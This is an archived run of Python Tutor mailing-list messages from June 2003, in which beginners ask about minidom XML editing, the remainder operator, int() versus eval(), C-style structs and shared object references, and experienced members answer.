Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1170" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hello, </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I seem to have trouble editing the =
values of parsed=20
XML documents so that I can save them with my new values.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&gt;&gt;&gt; from xml.dom import=20
minidom</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&gt;&gt;&gt; doc =3D=20
minidom.parseString("&lt;entry&gt;random =
stuff&lt;/entry&gt;")</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&gt;&gt;&gt; =
doc.childNodes[0].toxml()</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>u'&lt;entry&gt;random=20
stuff&lt;/entry&gt;'</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&gt;&gt;&gt;=20
doc.childNodes[0].nodeName</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>u'entry'</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&gt;&gt;&gt;=20
doc.childNodes[0].nodeValue</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&gt;&gt;&gt; doc.childNodes[0].nodeName =
=3D=20
"new"</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&gt;&gt;&gt; =
doc.childNodes[0].nodeValue =3D "test=20
value"</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&gt;&gt;&gt; =
doc.childNodes[0].toxml()</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>u'&lt;entry&gt;random=20
stuff&lt;/entry&gt;'</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I can't really figure out the problem. =
Is there any=20
way to accomplish what I've tried above? I'm trying to make a simple XML =
driven=20
database.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks in advance,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Andy Osagie</FONT></DIV></BODY></HTML>

------=_NextPart_000_0007_01C3293B.6515E990--


From py-tutor@fancy.org  Mon Jun  2 21:13:02 2003
From: py-tutor@fancy.org (Tom Plunket)
Date: Mon Jun  2 20:13:02 2003
Subject: [Tutor] Resetting the environment
Message-ID: <qrpndvs25kkq6j1dppbisrkb6grm5mka0t@4ax.com>

Say you've got an interactive shell open, and you've imported a
bunch of stuff, set a bunch of local variables, so forth.  Is
there a way to reset the environment to "clean as when it started
up"?

I'd basically like to undefine everything and unload all of the
modules.

thanks-
-tom!


From roypython@hotmail.com  Tue Jun  3 02:29:04 2003
From: roypython@hotmail.com (roy ollis)
Date: Tue Jun  3 01:29:04 2003
Subject: [Tutor] documentation
Message-ID: <BAY2-F114sIP4LlWhPu0000f969@hotmail.com>

<html><div style='background-color:'><DIV>isn't there a way to make the included tutorial more versatile. we could color code the text for the reader, like green =&nbsp; total newbie (to programming),&nbsp; yellow = new to python ( already programs in another language),&nbsp; and red for python programers (more of a reminder or what's new).&nbsp; a newbie would know to learn the green first to help them understand yellow, and the same from yellow to red.&nbsp; and while i don't understand latex i think it (or another script,&nbsp; in python of course)&nbsp; should be able to display all colors/level and edit out unwanted/needed ones.&nbsp; the tutorial could display only what's needed by the reader within reason.&nbsp; i actually would reccomed a different color scheme.&nbsp; originaly i thought like a red light (thus the red, yellow, green)would have ment very slow,&nbsp;but then it hit me that green usually means newbie.&nbsp; and red, white and blue isn't going to work either.&nbsp; most backgrounds are white and the white will bee very hard/impossible to read.&nbsp; i would suggest going with the spectrum, red, yellow, blue.&nbsp; being physics it's above being in anyway political,&nbsp; and it sloves the green = new and the green = go (ready to go).&nbsp; anyway, i believe a single tutorial can be made useful for multi users.&nbsp; and after i read enough tutorials i'll prove it, it'll just take me longer.</DIV></div><br clear=all><hr>STOP MORE SPAM with <a href="http://g.msn.com/8HMHENUS/2728??PS=">the new MSN 8</a> and get 2 months FREE*</html>


From shalehperry@attbi.com  Tue Jun  3 02:41:22 2003
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Tue Jun  3 01:41:22 2003
Subject: [Tutor] documentation
In-Reply-To: <BAY2-F114sIP4LlWhPu0000f969@hotmail.com>
References: <BAY2-F114sIP4LlWhPu0000f969@hotmail.com>
Message-ID: <200306022239.41004.shalehperry@attbi.com>

Please, no html mail to mailing lists, you will make more friends that way (-:

As for color coding the manual, I don't care for the idea directly.  However 
thought about as "perhaps the doc could be laid out so people could read at 
the level they are comfortable at" I would definately agree to.

Do we move the easy stuff as far forward as possible?

Trying to be everything to everyone can be hard.  Often a better approach is 
to aim high and low and let those in the middle choose a side.



From alan.gauld@blueyonder.co.uk  Tue Jun  3 04:04:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun  3 03:04:01 2003
Subject: [Tutor] Re: gp2c for windows xp and PBX translator
References: <Law15-F108GJziWwSoR00019fed@hotmail.com>
Message-ID: <009d01c3299e$46d76a40$6401a8c0@xp>

> Ps: I wonder if we can do this with Python? Ie., call Pari 
> AND call Python from basic:C as I have shown above. 
> I cc'd one of the the python communities. I am working on it now. 

I think you need a better explanation of what you want. Most 
folks on the Python tutor list have no idea what pari is
(certainly I don't) nor what exactly you did with it that 
you would like to do in Python.

If you could ask the question again, assuming no prior knowledge 
of pari we might be able to help.

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld


From alan.gauld@blueyonder.co.uk  Tue Jun  3 04:22:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun  3 03:22:01 2003
Subject: [Tutor] Newbie here ... Have python installed and have been trying the beginning tutorials
References: <003901c32956$2ac22a40$c47dfea9@client>
Message-ID: <00a801c329a0$c1b88f30$6401a8c0@xp>

> laugh I'm sure, but I haven't seemed to master the entering of
multiple
> lines of code, but am researching what I am doing wrong here.  It
has to
> do with "..." - I assume these three periods are interpreted by
python

NO, they are an aid to the user to say you are still inside a
single multi line construct. In fact the IDLE GUI environment
doesn't show the ... at all(which can be confusing since it
messes up the indentation!)

> to know another line of code is following, but when I type the "..."
and
> hit the Enter key, I get the SyntaxError:

Yes, you don't type the '...' Python produces that for you (if you
use the raw interpreter in a DOS window). If you type it in then
Python
will be very confused.

Alan G.



From magnus@thinkware.se  Tue Jun  3 07:45:25 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Tue Jun  3 06:45:25 2003
Subject: [Tutor] what is the difference between a scripting and
 object oriented programming language?
In-Reply-To: <20030604100009.53f6c2c3.thomi@thomi.imail.net.nz>
References: <544BE8EBDBEE344F96B32750CA5753E97941A4@ufcu_ntes.utahfirst.com>
 <544BE8EBDBEE344F96B32750CA5753E97941A4@ufcu_ntes.utahfirst.com>
Message-ID: <5.2.1.1.0.20030603115848.01f54b38@www.thinkware.se>

At 15:41 2003-06-02 -0600, Nick Jensen wrote:
>I dabbled in Java just a little bit so I have an idea of what object 
>oriented programming is although I'm not good at it. I know that python is 
>a scripting language, but I'm not sure what that means exactly as opposed 
>to OOP.

Putting labels on things is always risky...

Python is just as OO as C++, i.e. OO is supported, but not mandatory.

>What is the definition of a scripting language?

A problem with the term "scripting language" is that it's very
poorly defined. Some equate it with interpreted languages, but many
interpreted languages have never been called scripting languages.
See for instance http://c2.com/cgi/wiki?ScriptingLanguage for some
discussions on what it might possibly mean.

Some characteristics of traditional unix scripting languages such
as korn shell or bourne shell are that they are:
   * More abstract and high level than C, Java etc. You don't
     need to write so many lines of code, and you don't need
     to declare all variables etc.
   * Mainly used for small "scripts" that typically call
     external programs that get the hard work done, i.e. the
     script "glues" a number of programs together.
   * Interpreted as you go. No compilation takes place.
   * What you execute is actually the source code. Since there
     is no compilation, you don't get any binary file.

Perl tried to be some kind of unix super script that did all
that korn shell etc did, but also did a lot of the things that
korn shell scripts would call external programs like awk to do.

Python was initially intended to serve more or less the same niche,
but it's grown a lot since then, and it is certainly more like Java
than like Korn Shell. It never "imitated" the unix shell scripts, but
got it's influences from other languages (ABC, Modula-3, C etc).

It's like shell scripts in that it uses a higher level of abstraction.
You get more done in fewer lines. Also, like in shell scripts, you don't
*see* any compilation, since that it done automatically when you import
a python module, but just like Java, Python is compiled to byte code.
The code is *not* interpreted line by line.

You can distribute and run either a source file (.py) as you would with
shell scripts, or a byte compiled file (.pyc) as you would with Java.

Unlike shell scripts, Python programs don't usually contain a lot of
calls of external programs. Instead, it has a very rich standard library.

Like shell script, python statements can be run interactively in an
interpreter, but the Python interpreter is not intended to be a working
interface (shell) to the operating system that you use to start various
programs etc in.

Object-oriented programming is an approach to organizing code and data
structures in a program. It does not have anything to do with scripting
or not.

Dividing programming languages into: Procedural, Functional, Scripting
and Object-oriented, is a bit like dividing my thing into Red Things,
Small Things, Hard things and Wet Things.

>Does it relate to scripts at all like those that you'd run on a server for 
>instance to automate certain tasks? I'm actually a network admin and use 
>scripts sometimes, but was curious how that ties in with python.

Well, as you probably understand by now, the relation to unix bourne
shell scripts and windows batch files is fairly thin.

Many people do use Python for system and network administration. You
should note that Python is *not* shell though. For instance, in a unix
shell you can "source" scripts, so that they are executed in the same
process as the interactive shell. That means that they can change the
environment of the shell. Python scripts can't do that.

>Also, what are the benefits and drawbacks to a scripting language as 
>opposed to OOP languages?

Never mind scripting languages and OOP languages. What you are
asking is like: "Are red things better than heavy things?"

Python is a much better language than Java, in most regards.

This doesn't mean that Perl is better than C++ or anything like
that.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Tue Jun  3 07:55:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Tue Jun  3 06:55:02 2003
Subject: [Tutor] Resetting the environment
In-Reply-To: <qrpndvs25kkq6j1dppbisrkb6grm5mka0t@4ax.com>
Message-ID: <5.2.1.1.0.20030603125156.01f32998@www.thinkware.se>

At 17:12 2003-06-02 -0700, Tom Plunket wrote:
>I'd basically like to undefine everything and unload all of the
>modules.

Why? In all my years with Python I never felt a need to do that.

The easiest thing is probably to restart the interpreter. There are
many things in python that you can't purge from memory, so if you
need to reclaim memory: restart the interpreter.

If your *real* problems is that the modules don't get reloaded
if you change them and do "import x" again, use "reload(x)" instead.

I suppose you could do something like:

for name in dir():
     del name

but that doesn't unload modules. It just makes them unavailable.
You need to do import followed by reload to get access to changed
modules.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Tue Jun  3 08:07:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Tue Jun  3 07:07:01 2003
Subject: [Tutor] documentation
In-Reply-To: <BAY2-F114sIP4LlWhPu0000f969@hotmail.com>
Message-ID: <5.2.1.1.0.20030603125826.01f549a0@www.thinkware.se>

At 05:27 2003-06-03 +0000, roy ollis wrote:
>isn't there a way to make the included tutorial more versatile.

I'm sure there is. I don't think colors is the way though. For
instance, it works very poorly for printed b/w papers, and also
for colour blind people. It's also difficult to make such a
division. People are different, and come from different
backgrounds. Something which is trivial to one reader will be
very odd to another and vice versa.

I don't see why one particular tutorial needs to be the best
for everybody. There are plenty of different tutorials aimed
for different kinds of readers. The beginner page at python.org
links to many of them. http://www.python.org/doc/Newbies.html

I'm sure there are improvements to be made in both the official
tutorial as well as in other tutorials and in the information
that links to them. Maybe the beginner page should say a little
more about the inetended audience for each tutorial?

Maybe the official tutorial should also include a link to
the beginner page?


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From willblake@wanadoo.fr  Tue Jun  3 09:06:02 2003
From: willblake@wanadoo.fr (Guillaume)
Date: Tue Jun  3 08:06:02 2003
Subject: [Tutor] The remainder %
Message-ID: <NBEHJBEKFMHNFJKOHIOAMENDCIAA.willblake@wanadoo.fr>

C'est un message de format MIME en plusieurs parties.

------=_NextPart_000_0000_01C329D9.AFA3DE60
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hello,
I'm not very good in maths and I don't understand why 
14 % 3 = 2
Could someone explain me this mystery?
Thanks in advance :)


------=_NextPart_000_0000_01C329D9.AFA3DE60
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4134.100" name=3DGENERATOR></HEAD>
<BODY>
<DIV><SPAN class=3D320330412-03062003><FONT=20
face=3D"Arial Narrow">Hello,</FONT></SPAN></DIV>
<DIV><SPAN class=3D320330412-03062003><FONT face=3D"Arial Narrow">I'm =
not very good=20
in maths and I don't understand why </FONT></SPAN></DIV>
<DIV><SPAN class=3D320330412-03062003><FONT face=3D"Arial Narrow">14 % 3 =
=3D=20
2</FONT></SPAN></DIV>
<DIV><SPAN class=3D320330412-03062003><FONT face=3D"Arial Narrow">Could =
someone=20
explain me this mystery?</FONT></SPAN></DIV>
<DIV><SPAN class=3D320330412-03062003><FONT face=3D"Arial Narrow">Thanks =
in advance=20
:)</FONT></SPAN></DIV>
<DIV><SPAN class=3D320330412-03062003><FONT=20
face=3D"Arial Narrow"></FONT></SPAN>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_0000_01C329D9.AFA3DE60--



From willblake@wanadoo.fr  Tue Jun  3 09:22:03 2003
From: willblake@wanadoo.fr (Guillaume)
Date: Tue Jun  3 08:22:03 2003
Subject: [Tutor] I don't understand why it doesn't work :(
Message-ID: <NBEHJBEKFMHNFJKOHIOAIENECIAA.willblake@wanadoo.fr>

C'est un message de format MIME en plusieurs parties.

------=_NextPart_000_0000_01C329DB.F5A03600
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi,
My problem is quite simple.
Here is the prog:
 s = "3 * 4"
print type (s)
<type 'str'>

Easy but then I tried:
print int (s) + 5
I was waiting for something like 17
but it doesn't work :(
Why?
This is my only question.
Thanx

------=_NextPart_000_0000_01C329DB.F5A03600
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4134.100" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3D"Arial Narrow"><SPAN=20
class=3D380481912-03062003>Hi,</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D380481912-03062003>My =
problem is=20
quite simple.</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D380481912-03062003>Here =
is the=20
prog:</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN =
class=3D380481912-03062003>&nbsp;s =3D "3 *=20
4"</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D380481912-03062003>print =
type=20
(s)</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN =
class=3D380481912-03062003>&lt;type=20
'str'&gt;</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN=20
class=3D380481912-03062003></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D380481912-03062003>Easy =
but then I=20
tried:</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D380481912-03062003>print =
int (s) +=20
5</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D380481912-03062003>I was =
waiting for=20
something like 17</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D380481912-03062003>but it =
doesn't=20
work :(</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN=20
class=3D380481912-03062003>Why?</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN class=3D380481912-03062003>This =
is my only=20
question.</SPAN></FONT></DIV>
<DIV><FONT face=3D"Arial Narrow"><SPAN=20
class=3D380481912-03062003>Thanx</SPAN></FONT></DIV></BODY></HTML>

------=_NextPart_000_0000_01C329DB.F5A03600--



From jim_938@hotmail.com  Tue Jun  3 09:26:01 2003
From: jim_938@hotmail.com (Jimmy verma)
Date: Tue Jun  3 08:26:01 2003
Subject: [Tutor] subscript problem
Message-ID: <Sea1-F140162Kmq82tS00027a14@hotmail.com>

Hello,

I am having a problem with handling some pointers. My problem is like this:


typedef struct ab
{
      short n_p;
      Vec* po;
       short* con;
} AB;

typedef struct vec
{
      int x;
      int y;
} Vec;

Now the function:

XYZ(AB* out)
{
        last = out->con[n];            // last is of type int.
        lim = out ->po + last;        // lim is of type Vec.

        v_start = out -> po[first];   // v_start is of type Vec.
}


The problem is that when i use po[first] it gives an error message saying 
that

AttributeError: Vec instance has no attribute '__getitem__'


Can someone help me in sorting out the code for this in python.

Thanks in advance.

Regards

_________________________________________________________________
Want free fuel? Get IOC Citibank card. 
http://server1.msn.co.in/msnleads/citibankcards/ioc.asp Drive your dreams!



From magnus@thinkware.se  Tue Jun  3 09:52:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Tue Jun  3 08:52:02 2003
Subject: [Tutor] I don't understand why it doesn't work :(
In-Reply-To: <NBEHJBEKFMHNFJKOHIOAIENECIAA.willblake@wanadoo.fr>
Message-ID: <5.2.1.1.0.20030603143442.01f3f610@www.thinkware.se>

 >>> print int.__doc__
int(x[, base]) -> integer

Convert a string or number to an integer, if possible.  A floating point
argument will be truncated towards zero (this does not include a string
representation of a floating point number!)  When converting a string, use
the optional base.  It is an error to supply a base when converting a
non-string.

 >>>

Converting a string to a number is not the same as to evaluate
a mathematical expression. To evaluate a string as an expression
and return the result as for instance an int, you can use eval()
instead.

Strings fed to int must really be integers in the given base.
int('1010', 2), int('55') and int('beef', 16) will all work, but
not even int('5.3') is accepted, since integers don't have fractions.
int(5.3) will be trunctated and converted from float ti int, but
strings must be proper integers.

 >>> print eval('3 * 4') + 5
17

Note that eval can do all sorts of things.

 >>> password = "secret"
 >>> eval("password + ' '")*5
'secret secret secret secret secret '

In other words, you should be careful in evaluating strings that
for instance come through a web form. They might contain expressions
that disturb your program or reveal secrets.

BTW, there is something wrong with your return address. Mail to
<willblake@wanadoo.fr> bounces.

At 14:25 2003-06-03 +0200, Guillaume wrote:
>Hi,
>My problem is quite simple.
>Here is the prog:
>  s = "3 * 4"
>print type (s)
><type 'str'>
>
>Easy but then I tried:
>print int (s) + 5
>I was waiting for something like 17
>but it doesn't work :(
>Why?
>This is my only question.
>Thanx

--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From bbbbosox@mtneer.net  Tue Jun  3 09:57:02 2003
From: bbbbosox@mtneer.net (Dirigo)
Date: Tue Jun  3 08:57:02 2003
Subject: [Tutor] Newbie here ... Have python installed and have been trying the beginning tutorials
References: <003901c32956$2ac22a40$c47dfea9@client> <00a801c329a0$c1b88f30$6401a8c0@xp>
Message-ID: <003101c329cf$65f61120$c47dfea9@client>

Howdie again ;>))!

How right you are.  After Jeff Shannon had given me a "hint" in an
earlier message as to what I was doing wrong (typing the "..."), I
checked out both the python GUI (IDLE Python Shell) and Command window
(for lack of proper term for said DOS window).  The Command window did
in fact display the three periods (...), while the GUI didn't.  I have
to learn more about controlling the indentation, as well as, checking
the automatic settings for indentation.  It was the GUI interface that
didn't seem to indent properly for me and I was all over the place
trying to indent properly as I recognize the importance of indentation
to python.  So, Alan, your descriptions below of what to expect were
right on the money!

Also I learned that I needed to key in a ":" after a command line in
order to get to the multiple line process to work properly.  I've been
reading and trying the tutorials and have picked up a lot more.  I like
a book to work from, but am waiting based upon your and other
suggestions ... in particular the ones that are about to have another
newer version to be released within the next few months.  Hope that
comes off as scheduled ... meaning the book releases.

Thank you all again for your most helpful hints as I do feel I'm making
some progress.  Not quantum leap progress, but it will come.  ;>))

Regards,

Dirigo

----- Original Message -----
From: Alan Gauld <alan.gauld@blueyonder.co.uk>
To: Dirigo <bbbbosox@mtneer.net>; <tutor@python.org>
Sent: Tuesday, June 03, 2003 3:21 AM
Subject: Re: [Tutor] Newbie here ... Have python installed and have been
trying the beginning tutorials


> laugh I'm sure, but I haven't seemed to master the entering of
multiple
> lines of code, but am researching what I am doing wrong here.  It
has to
> do with "..." - I assume these three periods are interpreted by
python

NO, they are an aid to the user to say you are still inside a
single multi line construct. In fact the IDLE GUI environment
doesn't show the ... at all(which can be confusing since it
messes up the indentation!)

> to know another line of code is following, but when I type the "..."
and
> hit the Enter key, I get the SyntaxError:

Yes, you don't type the '...' Python produces that for you (if you
use the raw interpreter in a DOS window). If you type it in then
Python
will be very confused.

Alan G.



From magnus@thinkware.se  Tue Jun  3 10:01:13 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Tue Jun  3 09:01:13 2003
Subject: [Tutor] The remainder %
In-Reply-To: <NBEHJBEKFMHNFJKOHIOAMENDCIAA.willblake@wanadoo.fr>
Message-ID: <5.2.1.1.0.20030603145422.01f581f8@www.thinkware.se>

At 14:09 2003-06-03 +0200, Guillaume wrote:
>Hello,
>I'm not very good in maths and I don't understand why
>14 % 3 = 2
>Could someone explain me this mystery?
>Thanks in advance :)

Bill, Ken and Bud have 14 toy cars. If they divide them between
each other, they will get three each, and two will be left over.
That's the reminder. (Sarah can have them. They are broken anyway.
;)

(I guess you were taught this before you were taught fractions in
school. Have you forgotten all from third grade? ;)

Maybe it's unfortunate that the percent-sign is used for
reminders, since reminders have nothing to do with percentages.

There is really no support in any programming lanugage that I
know of for mathematics of the sort "What is 575 plus 10%". I
suppose all programming language designers assume that it's
obvious that "plus 10%" really means "multiplied with 1.1". ;)

But I guess there is really no clear notation for percentages that
work for arbitrary expressions.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From bbbbosox@mtneer.net  Tue Jun  3 10:21:01 2003
From: bbbbosox@mtneer.net (Dirigo)
Date: Tue Jun  3 09:21:01 2003
Subject: [Tutor] Curiosity question(s) here ... how many of you folks are using python in your day-to-day work environment and ...
Message-ID: <004501c329d2$a94ef1a0$c47dfea9@client>

for what sort of applications?

I don't need a detailed listing, but would like to get a feel for how
popular python is overall and what it is being used for.  I recently
read a presentation that seemed to indicate python ranked about 5th or
6th in usage of Open Source Software (I will have to double check that
I'm correct about this).

Also, when should I capitalize "python"?  ;>))  Obviously ... at the
beginning of a sentence, but ... I go back and forth when I start to
type "it" within the body of text.  ;>))

Thanks in advance.

Regards,

Dirigo




From ATrautman@perryjudds.com  Tue Jun  3 11:20:02 2003
From: ATrautman@perryjudds.com (Alan Trautman)
Date: Tue Jun  3 10:20:02 2003
Subject: [Tutor] Curiosity question(s) here ... how many of you folks
 are using python in your day-to-day work environment and ...
Message-ID: <06738462136C054B8F8872D69DA140DB0107C9@corp-exch-1.pjinet.com>

for what sort of applications?


Work:
Any time I have to parse (read) and reorder or extract data from files
created by manufacturing equipment or other equipment logs. This is usually
for specific study or manufacturing quality reporting. The file utilities
save me hours over M$ Visual Studio due to not needing a GUI or the build,
compile test dance.

Personally I write simulations, usually sports related, that take advantage
of the cross platform and XML capabilities of Python.



I don't need a detailed listing, but would like to get a feel for how
popular python is overall and what it is being used for.  I recently
read a presentation that seemed to indicate python ranked about 5th or
6th in usage of Open Source Software (I will have to double check that
I'm correct about this).

Also, when should I capitalize "python"?  ;>))  Obviously ... at the
beginning of a sentence, but ... I go back and forth when I start to
type "it" within the body of text.  ;>))

Thanks in advance.

Regards,

Dirigo



_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor


From Anish.Mehta@enst-bretagne.fr  Tue Jun  3 11:38:08 2003
From: Anish.Mehta@enst-bretagne.fr (Mehta, Anish)
Date: Tue Jun  3 10:38:08 2003
Subject: [Tutor] Variable Modification in a class
Message-ID: <3EDCB61B.8090304@antares.enst-bretagne.fr>

Hello!

I am having a problem in tackling the variables in the class.

class ab:
    def __init__(self):
        self.a = None
        self.b = None

def func(ab):
    b = ab
    c = ab

    b.a = 5
    b.b = 10

    c = b
    c.a = 30
    c.b = 40

    print b.a, b.b
    print c.a, c.b
    
t = func(ab())


Output is
30 40
30 40

I want the output to be
5 10
30 40

I mean every instance should modify its own set of variables not the 
variables of the other instances of the class. The output of the set of 
variables of b should not be affected by modifying those variables by 
another instance of the same class.

Waiting for suggestions.

Thanks in advnace.

Regards,

Anish




From tjenkins@devis.com  Tue Jun  3 11:48:04 2003
From: tjenkins@devis.com (Tom Jenkins)
Date: Tue Jun  3 10:48:04 2003
Subject: [Tutor] Variable Modification in a class
In-Reply-To: <3EDCB61B.8090304@antares.enst-bretagne.fr>
References: <3EDCB61B.8090304@antares.enst-bretagne.fr>
Message-ID: <3EDCB444.4000400@devis.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Mehta, Anish wrote:
| Hello!
|
| I am having a problem in tackling the variables in the class.
|
| class ab:
|    def __init__(self):
|        self.a = None
|        self.b = None
|
| def func(ab):
|    b = ab
|    c = ab
|
|    b.a = 5
|    b.b = 10
|
|    c = b
|    c.a = 30
|    c.b = 40
|
|    print b.a, b.b
|    print c.a, c.b
|    t = func(ab())
|
|
| Output is
| 30 40
| 30 40
|
| I want the output to be
| 5 10
| 30 40
|
| I mean every instance should modify its own set of variables not the
| variables of the other instances of the class. The output of the set of
| variables of b should not be affected by modifying those variables by
| another instance of the same class.
|

That is completely correct.  However you are not modifying different
instances of the class, you are modifying the same instances...

| def func(ab):
|    b = ab
|    c = ab

b and c both reference instance ab;

|    b.a = 5
|    b.b = 10
|

make changes to instance referenced by b (and since b and c reference
same instance, c as well)

|    c = b

even if above you hadn't explicitly made b and c reference the same
instance, here you are again saying c should reference the same instance
as b

|    c.a = 30
|    c.b = 40


make changes to instance referenced by c (and since b and c reference
same instance, b as well)

what i _think_ you want is...

def func(ab):
~   b = ab()
~   c = ab()

~   b.a = 5
~   b.b = 10

~   c.a = 30
~   c.b = 40

~   print b.a, b.b
~   print c.a, c.b
t = func(ab)

- --
Tom Jenkins
devIS - Development Infostructure
http://www.devis.com

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.0-nr2 (Windows XP)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQE+3LREV7Yk9/McDYURAlFJAKCdAVAy5GFTfmSUeG1m7DJ/X0S3uQCggGO5
IpjU6AYJNKnNFc7LePiLrfU=
=kQHH
-----END PGP SIGNATURE-----




From charlie@begeistert.org  Tue Jun  3 11:57:02 2003
From: charlie@begeistert.org (Charlie Clark)
Date: Tue Jun  3 10:57:02 2003
Subject: [Tutor] Re: I don't understand why it doesn't work :(
In-Reply-To: <20030603122203.26902.39492.Mailman@mail.python.org>
References: <20030603122203.26902.39492.Mailman@mail.python.org>
Message-ID: <20030603165811.1561.3@wonderland.1054630140.fake>

Bonjour Guillaume et bienvenue sur Python-Tutor. Est-ce que possible que=20
vous n'envoyez pas les messages en HTML?


> Subject: [Tutor] The remainder %
>=20
> C'est un message de format MIME en plusieurs parties.
>=20
> Hello,
> I'm not very good in maths and I don't understand why=20
> 14 % 3 =3D 2
> Could someone explain me this mystery?
> Thanks in advance :)

Quite easy really. The remainder is that whole number which remains when=20
you divide one number by another. 14 isn't entirely divisible by 3 so there=20
will be a remainder of 1 or 2. 4 x 3 is 12 and 14 - 12 is 2.

What is the remainder of 21 / 7 ?

> Hi,
> My problem is quite simple.
> Here is the prog:
>  s =3D "3 * 4"
> print type (s)
> <type 'str'>
>=20
> Easy but then I tried:
> print int (s) + 5
> I was waiting for something like 17
> but it doesn't work :(
> Why?
> This is my only question.

Why were you expecting 17? You added a number to a string.

Try this:
3 + "FOUR"
or
"THREE" + "FOUR"

What would you expect to happen? Numerical addition might if the language=20
in which it is written does enuff magic for you. But this is really black=20
magic: turning strings into numbers is like turning people into toads. It=20
should only happen when you really want it to!

Try this:
3 * "THREE"

Python is dynamically but strongly typed. This means that while you can=20
easily change the type of an object you must do this explicitly and you can=20
never do things with an object which its object type cannot do. This makes=20
programming Python both remarkably simple and remarkably safe. You can have=20
all kinds of problems if the computer does something automagically for you.

Amiti=E9s

Charlie


From Anish.Mehta@enst-bretagne.fr  Tue Jun  3 12:18:17 2003
From: Anish.Mehta@enst-bretagne.fr (Mehta, Anish)
Date: Tue Jun  3 11:18:17 2003
Subject: [Tutor] Variable Modification in a class
References: <3EDCB61B.8090304@antares.enst-bretagne.fr> <3EDCB444.4000400@devis.com>
Message-ID: <3EDCBF92.2000801@antares.enst-bretagne.fr>

